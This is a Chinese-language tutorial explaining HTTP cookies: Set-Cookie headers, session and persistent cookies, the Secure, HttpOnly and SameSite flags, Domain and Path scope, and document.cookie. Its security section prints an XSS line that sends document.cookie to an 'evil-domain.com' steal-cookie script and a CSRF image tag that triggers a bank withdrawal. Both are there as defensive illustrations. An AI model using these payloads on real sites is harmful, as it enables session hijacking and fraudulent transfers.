1. 程式人生 > >HTTP協議特性之Cookie(1)概述——NodeJs版

HTTP協議特性之Cookie(1)概述——NodeJs版

一、HTTP Cookies基本介紹

HTTP Cookie(也叫Web Cookie或瀏覽器Cookie)是伺服器傳送到使用者瀏覽器並儲存在本地的一小塊資料,它會在瀏覽器下次向同一伺服器再發起請求時被攜帶併發送到伺服器上。通常,它用於告知服務端兩個請求是否來自同一瀏覽器,如保持使用者的登入狀態。Cookie使基於無狀態的HTTP協議記錄穩定的狀態資訊成為了可能。

Cookie主要用於以下三個方面:

  • 會話狀態管理(如使用者登入狀態、購物車、遊戲分數或其它需要記錄的資訊)
  • 個性化設定(如使用者自定義設定、主題等)
  • 瀏覽器行為跟蹤(如跟蹤分析使用者行為等)

Cookie曾一度用於客戶端資料的儲存,因當時並沒有其它合適的儲存辦法而作為唯一的儲存手段,但現在隨著現代瀏覽器開始支援各種各樣的儲存方式,Cookie

漸漸被淘汰。由於伺服器指定Cookie後,瀏覽器的每次請求都會攜帶Cookie資料,會帶來額外的效能開銷(尤其是在移動環境下)。新的瀏覽器API已經允許開發者直接將資料儲存到本地,如使用 Web storage API (本地儲存和會話儲存)或 IndexedDB

說明:要檢視Cookie儲存(或網頁上能夠使用其他的儲存方式),你可以在開發者工具中啟用儲存檢視(Storage Inspector )功能,並在儲存樹上選中Cookie

注意:
Cookie弊端:Cookie是隨著HTTP協議出現在響應頭的,影響傳輸效能。

二、建立Cookie

當伺服器收到HTTP請求時,伺服器可以在響應頭裡面新增一個Set-Cookie

選項。瀏覽器收到響應後通常會儲存下Cookie,之後對該伺服器每一次請求中都通過Cookie請求頭部將Cookie資訊傳送給伺服器。另外,Cookie的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。

1、Set-Cookie響應頭部和Cookie請求頭部

伺服器使用Set-Cookie響應頭部向用戶代理(一般是瀏覽器)傳送Cookie資訊。一個簡單的Cookie可能像這樣:

Set-Cookie: <cookie名>=<cookie值>

伺服器通過該頭部告知客戶端儲存Cookie資訊。

2、會話期Cookie

會話期Cookie是最簡單的Cookie

:瀏覽器關閉之後它會被自動刪除,也就是說它僅在會話期內有效。會話期Cookie不需要指定過期時間(Expires)或者有效期(Max-Age)。需要注意的是,有些瀏覽器提供了會話恢復功能,這種情況下即使關閉了瀏覽器,會話期Cookie也會被保留下來,就好像瀏覽器從來沒有關閉一樣。
注意:預設Cookie是一個會話級別的Cookie

3、永續性Cookie

和關閉瀏覽器便失效的會話期Cookie不同,永續性Cookie可以指定一個特定的過期時間(Expires)或有效期(Max-Age)。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

注意:當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。

4、CookieSecureHttpOnly 標記

標記為 SecureCookie只應通過被HTTPS協議加密過的請求傳送給服務端。但即便設定了 Secure 標記,敏感資訊也不應該通過Cookie傳輸,因為Cookie有其固有的不安全性,Secure 標記也無法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始,不安全的站點(http:)無法使用Cookie的 Secure 標記。

為避免跨域指令碼 (XSS) 攻擊,通過JavaScript的 Document.cookie API無法訪問帶有 HttpOnly 標記的Cookie,它們只應該傳送給服務端。如果包含服務端 Session 資訊的 Cookie 不想被客戶端 JavaScript 指令碼呼叫,那麼就應該為其設定 HttpOnly 標記。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

5、Cookie的作用域

Domain 和 Path 標識定義了Cookie的作用域:即Cookie應該傳送給哪些URL。

Domain 標識指定了哪些主機可以接受Cookie。如果不指定,預設為當前文件的主機(不包含子域名)。如果指定了Domain,則一般包含子域名。

例如,如果設定 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。

Path 標識指定了主機下的哪些路徑可以接受Cookie(該URL路徑必須存在於請求URL中)。以字元 %x2F (“/”) 作為路徑分隔符,子路徑也會被匹配。

例如,設定 Path=/docs,則以下地址都會匹配:

/docs
/docs/Web/
/docs/Web/HTTP

6、SameSite Cookies

SameSite Cookie允許伺服器要求某個cookie在跨站請求時不會被髮送,從而可以阻止跨站請求偽造攻擊(CSRF)。但目前SameSite Cookie還處於實驗階段,並不是所有瀏覽器都支援。

7、JavaScript通過Document.cookies訪問Cookie

通過Document.cookie屬性可建立新的Cookie,也可通過該屬性訪問非HttpOnly標記的Cookie。

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

三、Cookie安全

注意:當機器處於不安全環境時,切記不能通過HTTP Cookie儲存、傳輸敏感資訊。

在Web應用中,Cookie常用來標記使用者或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權使用者的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程式漏洞進行XSS攻擊。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly型別的Cookie由於阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。

維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行伺服器傳送提現的請求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

當你開啟含有了這張圖片的HTML頁面時,如果你之前已經登入了你的銀行帳號並且Cookie仍然有效(還沒有其它驗證步驟),你銀行裡的錢很可能會被自動轉走。有一些方法可以阻止此類事件的發生:

  • 對使用者輸入進行過濾來阻止XSS;
  • 任何敏感操作都需要確認;
  • 用於敏感資訊的Cookie只能擁有較短的生命週期;